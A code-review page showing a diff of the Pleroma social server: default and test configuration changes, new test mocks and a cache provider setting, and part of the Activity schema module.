No OneTemporary
Actions

Authored By

Unknown

Size

1 MB

Referenced Files

None

Subscribers

None

View Options

This file is larger than 256 KB, so syntax highlighting was skipped.

	diff --git a/.gitignore b/.gitignore
	index 6ae21e914..62ca61bce 100644
	--- a/.gitignore
	+++ b/.gitignore
	@@ -1,54 +1,55 @@
	# App artifacts
	/_build
	/db
	/deps
	/*.ez
	+/test/instance
	/test/uploads
	/.elixir_ls
	/test/fixtures/DSCN0010_tmp.jpg
	/test/fixtures/test_tmp.txt
	/test/fixtures/image_tmp.jpg
	/test/tmp/
	/doc
	/instance
	/priv/ssh_keys

	# Prevent committing custom emojis
	/priv/static/emoji/custom/*

	# Generated on crash by the VM
	erl_crash.dump

	# Files matching config/*.secret.exs pattern contain sensitive
	# data and you should not commit them into version control.
	#
	# Alternatively, you may comment the line below and commit the
	# secrets files as long as you replace their contents by environment
	# variables.
	/config/*.secret.exs
	/config/generated_config.exs
	/config/*.env


	# Database setup file, some may forget to delete it
	/config/setup_db.psql

	.DS_Store
	.env

	# Editor config
	/.vscode/

	# Prevent committing docs files
	/priv/static/doc/*
	docs/generated_config.md

	# Code test coverage
	/cover
	/Elixir.*.coverdata

	.idea
	pleroma.iml

	# asdf
	.tool-versions
	diff --git a/config/config.exs b/config/config.exs
	index 3ccb6a3f5..d6d116314 100644
	--- a/config/config.exs
	+++ b/config/config.exs
	@@ -1,837 +1,836 @@
	# .i;;;;i.
	# iYcviii;vXY:
	# .YXi .i1c.
	# .YC. . in7.
	# .vc. ...... ;1c.
	# i7, .. .;1;
	# i7, .. ... .Y1i
	# ,7v .6MMM@; .YX,
	# .7;. ..IMMMMMM1 :t7.
	# .;Y. ;$MMMMMM9. :tc.
	# vY. .. .nMMM@MMU. ;1v.
	# i7i ... .#MM@M@C. .....:71i
	# it: .... $MMM@9;.,i;;;i,;tti
	# :t7. ..... 0MMMWv.,iii:::,,;St.
	# .nC. ..... IMMMQ..,::::::,.,czX.
	# .ct: ....... .ZMMMI..,:::::::,,:76Y.
	# c2: ......,i..Y$M@t..:::::::,,..inZY
	# vov ......:ii..c$MBc..,,,,,,,,,,..iI9i
	# i9Y ......iii:..7@MA,..,,,,,,,,,....;AA:
	# iIS. ......:ii::..;@MI....,............;Ez.
	# .I9. ......:i::::...8M1..................C0z.
	# .z9; ......:i::::,.. .i:...................zWX.
	# vbv ......,i::::,,. ................. :AQY
	# c6Y. .,...,::::,,..:t0@@QY. ................ :8bi
	# :6S. ..,,...,:::,,,..EMMMMMMI. ............... .;bZ,
	# :6o, .,,,,..:::,,,..i#MMMMMM#v................. YW2.
	# .n8i ..,,,,,,,::,,,,.. tMMMMM@C:.................. .1Wn
	# 7Uc. .:::,,,,,::,,,,.. i1t;,..................... .UEi
	# 7C...::::::::::::,,,,.. .................... vSi.
	# ;1;...,,::::::,......... .................. Yz:
	# v97,......... .voC.
	# izAotX7777777777777777777777777777777777777777Y7n92:
	# .;CoIIIIIUAA666666699999ZZZZZZZZZZZZZZZZZZZZ6ov.
	#
	# !!! ATTENTION !!!
	# DO NOT EDIT THIS FILE! THIS FILE CONTAINS THE DEFAULT VALUES FOR THE CON-
	# FIGURATION! EDIT YOUR SECRET FILE (either prod.secret.exs, dev.secret.exs).
	#
	# This file is responsible for configuring your application
	# and its dependencies with the aid of the Mix.Config module.
	#
	# This configuration file is loaded before any dependency and
	# is restricted to this project.
	use Mix.Config

	# General application configuration
	config :pleroma, ecto_repos: [Pleroma.Repo]

	config :pleroma, Pleroma.Repo,
	- types: Pleroma.PostgresTypes,
	telemetry_event: [Pleroma.Repo.Instrumenter],
	migration_lock: nil

	config :pleroma, Pleroma.Captcha,
	enabled: true,
	seconds_valid: 300,
	method: Pleroma.Captcha.Native

	config :pleroma, Pleroma.Captcha.Kocaptcha, endpoint: "https://captcha.kotobank.ch"

	# Upload configuration
	config :pleroma, Pleroma.Upload,
	uploader: Pleroma.Uploaders.Local,
	filters: [Pleroma.Upload.Filter.Dedupe],
	link_name: false,
	proxy_remote: false,
	proxy_opts: [
	redirect_on_failure: false,
	max_body_length: 25 * 1_048_576,
	http: [
	follow_redirect: true,
	pool: :upload
	]
	],
	filename_display_max_length: 30,
	default_description: nil

	config :pleroma, Pleroma.Uploaders.Local, uploads: "uploads"

	config :pleroma, Pleroma.Uploaders.S3,
	bucket: nil,
	streaming_enabled: true,
	public_endpoint: "https://s3.amazonaws.com"

	config :pleroma, :emoji,
	shortcode_globs: ["/emoji/custom/*/.png"],
	pack_extensions: [".png", ".gif"],
	groups: [
	Custom: ["/emoji/.png", "/emoji//.png"]
	],
	default_manifest: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json",
	shared_pack_cache_seconds_per_file: 60

	config :pleroma, :uri_schemes,
	valid_schemes: [
	"https",
	"http",
	"dat",
	"dweb",
	"gopher",
	"hyper",
	"ipfs",
	"ipns",
	"irc",
	"ircs",
	"magnet",
	"mailto",
	"mumble",
	"ssb",
	"xmpp"
	]

	websocket_config = [
	path: "/websocket",
	serializer: [
	{Phoenix.Socket.V1.JSONSerializer, "~> 1.0.0"},
	{Phoenix.Socket.V2.JSONSerializer, "~> 2.0.0"}
	],
	timeout: 60_000,
	transport_log: false,
	compress: false
	]

	# Configures the endpoint
	config :pleroma, Pleroma.Web.Endpoint,
	url: [host: "localhost"],
	http: [
	ip: {127, 0, 0, 1},
	dispatch: [
	{:_,
	[
	{"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []},
	{"/websocket", Phoenix.Endpoint.CowboyWebSocket,
	{Phoenix.Transports.WebSocket,
	{Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, websocket_config}}},
	{:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}}
	]}
	]
	],
	protocol: "https",
	secret_key_base: "aK4Abxf29xU9TTDKre9coZPUgevcVCFQJe/5xP/7Lt4BEif6idBIbjupVbOrbKxl",
	signing_salt: "CqaoopA2",
	render_errors: [view: Pleroma.Web.ErrorView, accepts: ~w(json)],
	pubsub_server: Pleroma.PubSub,
	secure_cookie_flag: true,
	extra_cookie_attrs: [
	"SameSite=Lax"
	]

	# Configures Elixir's Logger
	config :logger, :console,
	level: :debug,
	format: "\n$time $metadata[$level] $message\n",
	metadata: [:request_id]

	config :logger, :ex_syslogger,
	level: :debug,
	ident: "pleroma",
	format: "$metadata[$level] $message",
	metadata: [:request_id]

	config :quack,
	level: :warn,
	meta: [:all],
	webhook_url: "https://hooks.slack.com/services/YOUR-KEY-HERE"

	config :mime, :types, %{
	"application/xml" => ["xml"],
	"application/xrd+xml" => ["xrd+xml"],
	"application/jrd+json" => ["jrd+json"],
	"application/activity+json" => ["activity+json"],
	"application/ld+json" => ["activity+json"]
	}

	config :tesla, adapter: Tesla.Adapter.Hackney

	# Configures http settings, upstream proxy etc.
	config :pleroma, :http,
	proxy_url: nil,
	send_user_agent: true,
	user_agent: :default,
	adapter: []

	config :pleroma, :instance,
	name: "Pleroma",
	email: "example@example.com",
	notify_email: "noreply@example.com",
	description: "Pleroma: An efficient and flexible fediverse server",
	background_image: "/images/city.jpg",
	instance_thumbnail: "/instance/thumbnail.jpeg",
	limit: 5_000,
	description_limit: 5_000,
	chat_limit: 5_000,
	remote_limit: 100_000,
	upload_limit: 16_000_000,
	avatar_upload_limit: 2_000_000,
	background_upload_limit: 4_000_000,
	banner_upload_limit: 4_000_000,
	poll_limits: %{
	max_options: 20,
	max_option_chars: 200,
	min_expiration: 0,
	max_expiration: 365 * 24 * 60 * 60
	},
	registrations_open: true,
	invites_enabled: false,
	account_activation_required: false,
	account_approval_required: false,
	federating: true,
	federation_incoming_replies_max_depth: 100,
	federation_reachability_timeout_days: 7,
	federation_publisher_modules: [
	Pleroma.Web.ActivityPub.Publisher
	],
	allow_relay: true,
	public: true,
	quarantined_instances: [],
	static_dir: "instance/static/",
	allowed_post_formats: [
	"text/plain",
	"text/html",
	"text/markdown",
	"text/bbcode"
	],
	autofollowed_nicknames: [],
	autofollowing_nicknames: [],
	max_pinned_statuses: 1,
	attachment_links: false,
	max_report_comment_size: 1000,
	safe_dm_mentions: false,
	healthcheck: false,
	remote_post_retention_days: 90,
	skip_thread_containment: true,
	limit_to_local_content: :unauthenticated,
	user_bio_length: 5000,
	user_name_length: 100,
	max_account_fields: 10,
	max_remote_account_fields: 20,
	account_field_name_length: 512,
	account_field_value_length: 2048,
	registration_reason_length: 500,
	external_user_synchronization: true,
	extended_nickname_format: true,
	cleanup_attachments: false,
	multi_factor_authentication: [
	totp: [
	# digits 6 or 8
	digits: 6,
	period: 30
	],
	backup_codes: [
	number: 5,
	length: 16
	]
	],
	show_reactions: true,
	password_reset_token_validity: 60 * 60 * 24

	config :pleroma, :welcome,
	direct_message: [
	enabled: false,
	sender_nickname: nil,
	message: nil
	],
	chat_message: [
	enabled: false,
	sender_nickname: nil,
	message: nil
	],
	email: [
	enabled: false,
	sender: nil,
	subject: "Welcome to <%= instance_name %>",
	html: "Welcome to <%= instance_name %>",
	text: "Welcome to <%= instance_name %>"
	]

	config :pleroma, :feed,
	post_title: %{
	max_length: 100,
	omission: "..."
	}

	config :pleroma, :markup,
	# XXX - unfortunately, inline images must be enabled by default right now, because
	# of custom emoji. Issue #275 discusses defanging that somehow.
	allow_inline_images: true,
	allow_headings: false,
	allow_tables: false,
	allow_fonts: false,
	scrub_policy: [
	Pleroma.HTML.Scrubber.Default,
	Pleroma.HTML.Transform.MediaProxy
	]

	config :pleroma, :frontend_configurations,
	pleroma_fe: %{
	alwaysShowSubjectInput: true,
	background: "/images/city.jpg",
	collapseMessageWithSubject: false,
	disableChat: false,
	greentext: false,
	hideFilteredStatuses: false,
	hideMutedPosts: false,
	hidePostStats: false,
	hideSitename: false,
	hideUserStats: false,
	loginMethod: "password",
	logo: "/static/logo.svg",
	logoMargin: ".1em",
	logoMask: true,
	minimalScopesMode: false,
	noAttachmentLinks: false,
	nsfwCensorImage: "",
	postContentType: "text/plain",
	redirectRootLogin: "/main/friends",
	redirectRootNoLogin: "/main/all",
	scopeCopy: true,
	sidebarRight: false,
	showFeaturesPanel: true,
	showInstanceSpecificPanel: false,
	subjectLineBehavior: "email",
	theme: "pleroma-dark",
	webPushNotifications: false
	},
	masto_fe: %{
	showInstanceSpecificPanel: true
	}

	config :pleroma, :assets,
	mascots: [
	pleroma_fox_tan: %{
	url: "/images/pleroma-fox-tan-smol.png",
	mime_type: "image/png"
	},
	pleroma_fox_tan_shy: %{
	url: "/images/pleroma-fox-tan-shy.png",
	mime_type: "image/png"
	}
	],
	default_mascot: :pleroma_fox_tan

	config :pleroma, :manifest,
	icons: [
	%{
	src: "/static/logo.svg",
	type: "image/svg+xml"
	}
	],
	theme_color: "#282c37",
	background_color: "#191b22"

	config :pleroma, :activitypub,
	unfollow_blocked: true,
	outgoing_blocks: true,
	follow_handshake_timeout: 500,
	note_replies_output_limit: 5,
	sign_object_fetches: true,
	authorized_fetch_mode: false

	config :pleroma, :streamer,
	workers: 3,
	overflow_workers: 2

	config :pleroma, :user, deny_follow_blocked: true

	config :pleroma, :mrf_normalize_markup, scrub_policy: Pleroma.HTML.Scrubber.Default

	config :pleroma, :mrf_rejectnonpublic,
	allow_followersonly: false,
	allow_direct: false

	config :pleroma, :mrf_hellthread,
	delist_threshold: 10,
	reject_threshold: 20

	config :pleroma, :mrf_simple,
	media_removal: [],
	media_nsfw: [],
	federated_timeline_removal: [],
	report_removal: [],
	reject: [],
	followers_only: [],
	accept: [],
	avatar_removal: [],
	banner_removal: [],
	reject_deletes: []

	config :pleroma, :mrf_keyword,
	reject: [],
	federated_timeline_removal: [],
	replace: []

	config :pleroma, :mrf_subchain, match_actor: %{}

	config :pleroma, :mrf_activity_expiration, days: 365

	config :pleroma, :mrf_vocabulary,
	accept: [],
	reject: []

	# threshold of 7 days
	config :pleroma, :mrf_object_age,
	threshold: 604_800,
	actions: [:delist, :strip_followers]

	config :pleroma, :rich_media,
	enabled: true,
	ignore_hosts: [],
	ignore_tld: ["local", "localdomain", "lan"],
	parsers: [
	Pleroma.Web.RichMedia.Parsers.TwitterCard,
	Pleroma.Web.RichMedia.Parsers.OEmbed
	],
	failure_backoff: 60_000,
	ttl_setters: [Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl]

	config :pleroma, :media_proxy,
	enabled: false,
	invalidation: [
	enabled: false,
	provider: Pleroma.Web.MediaProxy.Invalidation.Script
	],
	proxy_opts: [
	redirect_on_failure: false,
	max_body_length: 25 * 1_048_576,
	# Note: max_read_duration defaults to Pleroma.ReverseProxy.max_read_duration_default/1
	max_read_duration: 30_000,
	http: [
	follow_redirect: true,
	pool: :media
	]
	],
	whitelist: []

	config :pleroma, Pleroma.Web.MediaProxy.Invalidation.Http,
	method: :purge,
	headers: [],
	options: []

	config :pleroma, Pleroma.Web.MediaProxy.Invalidation.Script, script_path: nil

	# Note: media preview proxy depends on media proxy to be enabled
	config :pleroma, :media_preview_proxy,
	enabled: false,
	thumbnail_max_width: 600,
	thumbnail_max_height: 600,
	image_quality: 85,
	min_content_length: 100 * 1024

	config :pleroma, :chat, enabled: true

	config :phoenix, :format_encoders, json: Jason

	config :phoenix, :json_library, Jason

	config :phoenix, :filter_parameters, ["password", "confirm"]

	config :pleroma, :gopher,
	enabled: false,
	ip: {0, 0, 0, 0},
	port: 9999

	config :pleroma, Pleroma.Web.Metadata,
	providers: [
	Pleroma.Web.Metadata.Providers.OpenGraph,
	Pleroma.Web.Metadata.Providers.TwitterCard
	],
	unfurl_nsfw: false

	config :pleroma, Pleroma.Web.Preload,
	providers: [
	Pleroma.Web.Preload.Providers.Instance
	]

	config :pleroma, :http_security,
	enabled: true,
	sts: false,
	sts_max_age: 31_536_000,
	ct_max_age: 2_592_000,
	referrer_policy: "same-origin"

	config :cors_plug,
	max_age: 86_400,
	methods: ["POST", "PUT", "DELETE", "GET", "PATCH", "OPTIONS"],
	expose: [
	"Link",
	"X-RateLimit-Reset",
	"X-RateLimit-Limit",
	"X-RateLimit-Remaining",
	"X-Request-Id",
	"Idempotency-Key"
	],
	credentials: true,
	headers: ["Authorization", "Content-Type", "Idempotency-Key"]

	config :pleroma, Pleroma.User,
	restricted_nicknames: [
	".well-known",
	"~",
	"about",
	"activities",
	"api",
	"auth",
	"check_password",
	"dev",
	"friend-requests",
	"inbox",
	"internal",
	"main",
	"media",
	"nodeinfo",
	"notice",
	"oauth",
	"objects",
	"ostatus_subscribe",
	"pleroma",
	"proxy",
	"push",
	"registration",
	"relay",
	"settings",
	"status",
	"tag",
	"user-search",
	"user_exists",
	"users",
	"web",
	"verify_credentials",
	"update_credentials",
	"relationships",
	"search",
	"confirmation_resend",
	"mfa"
	],
	email_blacklist: []

	config :pleroma, Oban,
	repo: Pleroma.Repo,
	log: false,
	queues: [
	activity_expiration: 10,
	token_expiration: 5,
	backup: 1,
	federator_incoming: 50,
	federator_outgoing: 50,
	ingestion_queue: 50,
	web_push: 50,
	mailer: 10,
	transmogrifier: 20,
	scheduled_activities: 10,
	background: 5,
	remote_fetcher: 2,
	attachments_cleanup: 5,
	new_users_digest: 1,
	mute_expire: 5
	],
	plugins: [Oban.Plugins.Pruner],
	crontab: [
	{"0 0 * * 0", Pleroma.Workers.Cron.DigestEmailsWorker},
	{"0 0 * * *", Pleroma.Workers.Cron.NewUsersDigestWorker}
	]

	config :pleroma, :workers,
	retries: [
	federator_incoming: 5,
	federator_outgoing: 5
	]

	config :pleroma, Pleroma.Formatter,
	class: false,
	rel: "ugc",
	new_window: false,
	truncate: false,
	strip_prefix: false,
	extra: true,
	validate_tld: :no_scheme

	config :pleroma, :ldap,
	enabled: System.get_env("LDAP_ENABLED") == "true",
	host: System.get_env("LDAP_HOST") \|\| "localhost",
	port: String.to_integer(System.get_env("LDAP_PORT") \|\| "389"),
	ssl: System.get_env("LDAP_SSL") == "true",
	sslopts: [],
	tls: System.get_env("LDAP_TLS") == "true",
	tlsopts: [],
	base: System.get_env("LDAP_BASE") \|\| "dc=example,dc=com",
	uid: System.get_env("LDAP_UID") \|\| "cn"

	config :esshd,
	enabled: false

	oauth_consumer_strategies =
	System.get_env("OAUTH_CONSUMER_STRATEGIES")
	\|> to_string()
	\|> String.split()
	\|> Enum.map(&hd(String.split(&1, ":")))

	ueberauth_providers =
	for strategy <- oauth_consumer_strategies do
	strategy_module_name = "Elixir.Ueberauth.Strategy.#{String.capitalize(strategy)}"
	strategy_module = String.to_atom(strategy_module_name)
	{String.to_atom(strategy), {strategy_module, [callback_params: ["state"]]}}
	end

	config :ueberauth,
	Ueberauth,
	base_path: "/oauth",
	providers: ueberauth_providers

	config :pleroma,
	:auth,
	enforce_oauth_admin_scope_usage: true,
	oauth_consumer_strategies: oauth_consumer_strategies

	config :pleroma, Pleroma.Emails.Mailer, adapter: Swoosh.Adapters.Sendmail, enabled: false

	config :pleroma, Pleroma.Emails.UserEmail,
	logo: nil,
	styling: %{
	link_color: "#d8a070",
	background_color: "#2C3645",
	content_background_color: "#1B2635",
	header_color: "#d8a070",
	text_color: "#b9b9ba",
	text_muted_color: "#b9b9ba"
	}

	config :pleroma, Pleroma.Emails.NewUsersDigestEmail, enabled: false

	config :prometheus, Pleroma.Web.Endpoint.MetricsExporter,
	enabled: false,
	auth: false,
	ip_whitelist: [],
	path: "/api/pleroma/app_metrics",
	format: :text

	config :pleroma, Pleroma.ScheduledActivity,
	daily_user_limit: 25,
	total_user_limit: 300,
	enabled: true

	config :pleroma, :email_notifications,
	digest: %{
	active: false,
	interval: 7,
	inactivity_threshold: 7
	}

	config :pleroma, :oauth2,
	token_expires_in: 3600 * 24 * 365 * 100,
	issue_new_refresh_token: true,
	clean_expired_tokens: false

	config :pleroma, :database, rum_enabled: false

	config :pleroma, :env, Mix.env()

	config :http_signatures,
	adapter: Pleroma.Signature

	config :pleroma, :rate_limit,
	authentication: {60_000, 15},
	timeline: {500, 3},
	search: [{1000, 10}, {1000, 30}],
	app_account_creation: {1_800_000, 25},
	relations_actions: {10_000, 10},
	relation_id_action: {60_000, 2},
	statuses_actions: {10_000, 15},
	status_id_action: {60_000, 3},
	password_reset: {1_800_000, 5},
	account_confirmation_resend: {8_640_000, 5},
	ap_routes: {60_000, 15}

	config :pleroma, Pleroma.Workers.PurgeExpiredActivity, enabled: true, min_lifetime: 600

	config :pleroma, Pleroma.Web.Plugs.RemoteIp,
	enabled: true,
	headers: ["x-forwarded-for"],
	proxies: [],
	reserved: [
	"127.0.0.0/8",
	"::1/128",
	"fc00::/7",
	"10.0.0.0/8",
	"172.16.0.0/12",
	"192.168.0.0/16"
	]

	config :pleroma, :static_fe, enabled: false

	# Example of frontend configuration
	# This example will make us serve the primary frontend from the
	# frontends directory within your `:pleroma, :instance, static_dir`.
	# e.g., instance/static/frontends/pleroma/develop/
	#
	# With no frontend configuration, the bundled files from the `static` directory will
	# be used.
	#
	# config :pleroma, :frontends,
	# primary: %{"name" => "pleroma-fe", "ref" => "develop"},
	# admin: %{"name" => "admin-fe", "ref" => "stable"},
	# available: %{...}

	config :pleroma, :frontends,
	available: %{
	"kenoma" => %{
	"name" => "kenoma",
	"git" => "https://git.pleroma.social/lambadalambda/kenoma",
	"build_url" =>
	"https://git.pleroma.social/lambadalambda/kenoma/-/jobs/artifacts/${ref}/download?job=build",
	"ref" => "master"
	},
	"pleroma-fe" => %{
	"name" => "pleroma-fe",
	"git" => "https://git.pleroma.social/pleroma/pleroma-fe",
	"build_url" =>
	"https://git.pleroma.social/pleroma/pleroma-fe/-/jobs/artifacts/${ref}/download?job=build",
	"ref" => "develop"
	},
	"fedi-fe" => %{
	"name" => "fedi-fe",
	"git" => "https://git.pleroma.social/pleroma/fedi-fe",
	"build_url" =>
	"https://git.pleroma.social/pleroma/fedi-fe/-/jobs/artifacts/${ref}/download?job=build",
	"ref" => "master"
	},
	"admin-fe" => %{
	"name" => "admin-fe",
	"git" => "https://git.pleroma.social/pleroma/admin-fe",
	"build_url" =>
	"https://git.pleroma.social/pleroma/admin-fe/-/jobs/artifacts/${ref}/download?job=build",
	"ref" => "develop"
	},
	"soapbox-fe" => %{
	"name" => "soapbox-fe",
	"git" => "https://gitlab.com/soapbox-pub/soapbox-fe",
	"build_url" =>
	"https://gitlab.com/soapbox-pub/soapbox-fe/-/jobs/artifacts/${ref}/download?job=build-production",
	"ref" => "v1.0.0",
	"build_dir" => "static"
	}
	}

	config :pleroma, :web_cache_ttl,
	activity_pub: nil,
	activity_pub_question: 30_000

	config :pleroma, :modules, runtime_dir: "instance/modules"

	config :pleroma, configurable_from_database: false

	config :pleroma, Pleroma.Repo,
	parameters: [gin_fuzzy_search_limit: "500"],
	prepare: :unnamed

	config :pleroma, :connections_pool,
	reclaim_multiplier: 0.1,
	connection_acquisition_wait: 250,
	connection_acquisition_retries: 5,
	max_connections: 250,
	max_idle_time: 30_000,
	retry: 0,
	connect_timeout: 5_000

	config :pleroma, :pools,
	federation: [
	size: 50,
	max_waiting: 10,
	recv_timeout: 10_000
	],
	media: [
	size: 50,
	max_waiting: 20,
	recv_timeout: 15_000
	],
	upload: [
	size: 25,
	max_waiting: 5,
	recv_timeout: 15_000
	],
	default: [
	size: 10,
	max_waiting: 2,
	recv_timeout: 5_000
	]

	config :pleroma, :hackney_pools,
	federation: [
	max_connections: 50,
	timeout: 150_000
	],
	media: [
	max_connections: 50,
	timeout: 150_000
	],
	upload: [
	max_connections: 25,
	timeout: 300_000
	]

	config :pleroma, :majic_pool, size: 2

	private_instance? = :if_instance_is_private

	config :pleroma, :restrict_unauthenticated,
	timelines: %{local: private_instance?, federated: private_instance?},
	profiles: %{local: private_instance?, remote: private_instance?},
	activities: %{local: private_instance?, remote: private_instance?}

	config :pleroma, Pleroma.Web.ApiSpec.CastAndValidate, strict: false

	config :pleroma, :mrf,
	policies: [Pleroma.Web.ActivityPub.MRF.ObjectAgePolicy, Pleroma.Web.ActivityPub.MRF.TagPolicy],
	transparency: true,
	transparency_exclusions: []

	config :tzdata, :http_client, Pleroma.HTTP.Tzdata

	config :ex_aws, http_client: Pleroma.HTTP.ExAws

	config :web_push_encryption, http_client: Pleroma.HTTP.WebPush

	config :pleroma, :instances_favicons, enabled: false

	config :floki, :html_parser, Floki.HTMLParser.FastHtml

	config :pleroma, Pleroma.Web.Auth.Authenticator, Pleroma.Web.Auth.PleromaAuthenticator

	config :pleroma, Pleroma.User.Backup,
	purge_after_days: 30,
	limit_days: 7,
	dir: nil

	# Import environment specific config. This must remain at the bottom
	# of this file so it overrides the configuration defined above.
	import_config "#{Mix.env()}.exs"
	diff --git a/config/test.exs b/config/test.exs
	index 2a20a03e7..a85881592 100644
	--- a/config/test.exs
	+++ b/config/test.exs
	@@ -1,130 +1,143 @@
	use Mix.Config

	# We don't run a server during test. If one is required,
	# you can enable the server option below.
	config :pleroma, Pleroma.Web.Endpoint,
	http: [port: 4001],
	url: [port: 4001],
	server: true

	# Disable captha for tests
	config :pleroma, Pleroma.Captcha,
	# It should not be enabled for automatic tests
	enabled: false,
	# A fake captcha service for tests
	method: Pleroma.Captcha.Mock

	# Print only warnings and errors during test
	config :logger, :console,
	level: :warn,
	format: "\n[$level] $message\n"

	config :pleroma, :auth, oauth_consumer_strategies: []

	config :pleroma, Pleroma.Upload,
	filters: [],
	link_name: false,
	default_description: :filename

	config :pleroma, Pleroma.Uploaders.Local, uploads: "test/uploads"

	config :pleroma, Pleroma.Emails.Mailer, adapter: Swoosh.Adapters.Test, enabled: true

	config :pleroma, :instance,
	email: "admin@example.com",
	notify_email: "noreply@example.com",
	skip_thread_containment: false,
	federating: false,
	external_user_synchronization: false,
	static_dir: "test/instance_static/"

	config :pleroma, :activitypub, sign_object_fetches: false

	# Configure your database
	config :pleroma, Pleroma.Repo,
	adapter: Ecto.Adapters.Postgres,
	username: "postgres",
	password: "postgres",
	database: "pleroma_test",
	hostname: System.get_env("DB_HOST") \|\| "localhost",
	- pool: Ecto.Adapters.SQL.Sandbox
	+ pool: Ecto.Adapters.SQL.Sandbox,
	+ pool_size: 50
	+
	+config :pleroma, :dangerzone, override_repo_pool_size: true

	# Reduce hash rounds for testing
	config :pbkdf2_elixir, rounds: 1

	config :tesla, adapter: Tesla.Mock

	config :pleroma, :rich_media,
	enabled: false,
	ignore_hosts: [],
	ignore_tld: ["local", "localdomain", "lan"]

	config :pleroma, :instance,
	multi_factor_authentication: [
	totp: [
	# digits 6 or 8
	digits: 6,
	period: 30
	],
	backup_codes: [
	number: 2,
	length: 6
	]
	]

	config :web_push_encryption, :vapid_details,
	subject: "mailto:administrator@example.com",
	public_key:
	"BLH1qVhJItRGCfxgTtONfsOKDc9VRAraXw-3NsmjMngWSh7NxOizN6bkuRA7iLTMPS82PjwJAr3UoK9EC1IFrz4",
	private_key: "_-XZ0iebPrRfZ_o0-IatTdszYa8VCH1yLN-JauK7HHA"

	config :pleroma, Oban,
	queues: false,
	crontab: false,
	plugins: false

	config :pleroma, Pleroma.ScheduledActivity,
	daily_user_limit: 2,
	total_user_limit: 3,
	enabled: false

	config :pleroma, :rate_limit, %{}

	config :pleroma, :http_security, report_uri: "https://endpoint.com"

	config :pleroma, :http, send_user_agent: false

	rum_enabled = System.get_env("RUM_ENABLED") == "true"
	config :pleroma, :database, rum_enabled: rum_enabled
	IO.puts("RUM enabled: #{rum_enabled}")

	config :joken, default_signer: "yU8uHKq+yyAkZ11Hx//jcdacWc8yQ1bxAAGrplzB0Zwwjkp35v0RK9SO8WTPr6QZ"

	config :pleroma, Pleroma.ReverseProxy.Client, Pleroma.ReverseProxy.ClientMock

	config :pleroma, :modules, runtime_dir: "test/fixtures/modules"

	config :pleroma, Pleroma.Gun, Pleroma.GunMock

	config :pleroma, Pleroma.Emails.NewUsersDigestEmail, enabled: true

	config :pleroma, Pleroma.Web.Plugs.RemoteIp, enabled: false

	config :pleroma, Pleroma.Web.ApiSpec.CastAndValidate, strict: true

	config :pleroma, Pleroma.Uploaders.S3,
	bucket: nil,
	streaming_enabled: true,
	public_endpoint: nil

	config :tzdata, :autoupdate, :disabled

	config :pleroma, :mrf, policies: []

	+config :pleroma, :pipeline,
	+ object_validator: Pleroma.Web.ActivityPub.ObjectValidatorMock,
	+ mrf: Pleroma.Web.ActivityPub.MRFMock,
	+ activity_pub: Pleroma.Web.ActivityPub.ActivityPubMock,
	+ side_effects: Pleroma.Web.ActivityPub.SideEffectsMock,
	+ federator: Pleroma.Web.FederatorMock,
	+ config: Pleroma.ConfigMock
	+
	+config :pleroma, :cachex, provider: Pleroma.CachexMock
	+
	if File.exists?("./config/test.secret.exs") do
	import_config "test.secret.exs"
	else
	IO.puts(
	"You may want to create test.secret.exs to declare custom database connection parameters."
	)
	end
	diff --git a/lib/pleroma/activity.ex b/lib/pleroma/activity.ex
	index 079823312..9d970a808 100644
	--- a/lib/pleroma/activity.ex
	+++ b/lib/pleroma/activity.ex
	@@ -1,383 +1,385 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Activity do
	use Ecto.Schema

	alias Pleroma.Activity
	alias Pleroma.Activity.Queries
	alias Pleroma.Bookmark
	alias Pleroma.Notification
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.ReportNote
	alias Pleroma.ThreadMute
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub

	import Ecto.Changeset
	import Ecto.Query

	@type t :: %__MODULE__{}
	@type actor :: String.t()

	@primary_key {:id, FlakeId.Ecto.CompatType, autogenerate: true}

	+ @cachex Pleroma.Config.get([:cachex, :provider], Cachex)
	+
	schema "activities" do
	field(:data, :map)
	field(:local, :boolean, default: true)
	field(:actor, :string)
	field(:recipients, {:array, :string}, default: [])
	field(:thread_muted?, :boolean, virtual: true)

	# A field that can be used if you need to join some kind of other
	# id to order / paginate this field by
	field(:pagination_id, :string, virtual: true)

	# This is a fake relation,
	# do not use outside of with_preloaded_user_actor/with_joined_user_actor
	has_one(:user_actor, User, on_delete: :nothing, foreign_key: :id)
	# This is a fake relation, do not use outside of with_preloaded_bookmark/get_bookmark
	has_one(:bookmark, Bookmark)
	# This is a fake relation, do not use outside of with_preloaded_report_notes
	has_many(:report_notes, ReportNote)
	has_many(:notifications, Notification, on_delete: :delete_all)

	# Attention: this is a fake relation, don't try to preload it blindly and expect it to work!
	# The foreign key is embedded in a jsonb field.
	#
	# To use it, you probably want to do an inner join and a preload:
	#
	# ```
	# \|> join(:inner, [activity], o in Object,
	# on: fragment("(?->>'id') = COALESCE((?)->'object'->> 'id', (?)->>'object')",
	# o.data, activity.data, activity.data))
	# \|> preload([activity, object], [object: object])
	# ```
	#
	# As a convenience, Activity.with_preloaded_object() sets up an inner join and preload for the
	# typical case.
	has_one(:object, Object, on_delete: :nothing, foreign_key: :id)

	timestamps()
	end

	def with_joined_object(query, join_type \\ :inner) do
	join(query, join_type, [activity], o in Object,
	on:
	fragment(
	"(?->>'id') = COALESCE(?->'object'->>'id', ?->>'object')",
	o.data,
	activity.data,
	activity.data
	),
	as: :object
	)
	end

	def with_preloaded_object(query, join_type \\ :inner) do
	query
	\|> has_named_binding?(:object)
	\|> if(do: query, else: with_joined_object(query, join_type))
	\|> preload([activity, object: object], object: object)
	end

	# Note: applies to fake activities (ActivityPub.Utils.get_notified_from_object/1 etc.)
	def user_actor(%Activity{actor: nil}), do: nil

	def user_actor(%Activity{} = activity) do
	with %User{} <- activity.user_actor do
	activity.user_actor
	else
	_ -> User.get_cached_by_ap_id(activity.actor)
	end
	end

	def with_joined_user_actor(query, join_type \\ :inner) do
	join(query, join_type, [activity], u in User,
	on: u.ap_id == activity.actor,
	as: :user_actor
	)
	end

